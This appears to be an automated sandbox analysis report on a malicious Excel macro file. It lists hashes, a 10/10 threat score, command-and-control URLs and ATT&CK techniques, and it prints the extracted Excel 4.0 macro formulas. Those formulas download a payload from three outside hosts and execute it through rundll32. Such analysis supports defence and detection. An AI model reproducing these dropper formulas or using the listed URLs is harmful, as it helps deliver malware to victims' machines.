Overview

overview

10

Static

static

10

y5413818xlsm.xlsm

windows7-x64

10

y5413818xlsm.xlsm

windows10-2004-x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    y5413818xlsm.xlsm

  • Size

    83KB

  • Sample

    230701-j842zshd4z

  • MD5

    1c31393f6c0ebc35228585822ff82fea

  • SHA1

    09612ba6b69327e46049f3200d96634e2267cc75

  • SHA256

    a0eacf656900552c56c986b37f31393346ec3d6cf406724b775a6ca9e166502b

  • SHA512

    ac6cb32c2e6a567900d8d65d7f7438bc51b6ce138c58ff06994416c86a68344a195d4dd98d6fda0a5f9fb1cfae668005b9c6d717af1a0c755ee75008e1711e02

  • SSDEEP

    1536:OW5FiLysqxG/+CbEcWeu3XDXeoiHwt/uE1d7mT6SrPag3HtQVASgV+:t5kiG/+CbE9H78wt2E1d7e6STa6SH

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://badmakeup.biz/dhl/3ez4GMS65Gk6Bgxd/

http://91xxxooo.com/get/hRG6d/

http://hordlepc.com/rootF0x-uyxab/YW8UUhCWN/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://badmakeup.biz/dhl/3ez4GMS65Gk6Bgxd/","..\erum.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://91xxxooo.com/get/hRG6d/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hordlepc.com/rootF0x-uyxab/YW8UUhCWN/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://badmakeup.biz/dhl/3ez4GMS65Gk6Bgxd/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://badmakeup.biz/dhl/3ez4GMS65Gk6Bgxd/
xlm40.dropper

http://91xxxooo.com/get/hRG6d/
xlm40.dropper

http://hordlepc.com/rootF0x-uyxab/YW8UUhCWN/

Targets

    • Target

      y5413818xlsm.xlsm

    • Size

      83KB

    • MD5

      1c31393f6c0ebc35228585822ff82fea

    • SHA1

      09612ba6b69327e46049f3200d96634e2267cc75

    • SHA256

      a0eacf656900552c56c986b37f31393346ec3d6cf406724b775a6ca9e166502b

    • SHA512

      ac6cb32c2e6a567900d8d65d7f7438bc51b6ce138c58ff06994416c86a68344a195d4dd98d6fda0a5f9fb1cfae668005b9c6d717af1a0c755ee75008e1711e02

    • SSDEEP

      1536:OW5FiLysqxG/+CbEcWeu3XDXeoiHwt/uE1d7mT6SrPag3HtQVASgV+:t5kiG/+CbE9H78wt2E1d7e6STa6SH

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks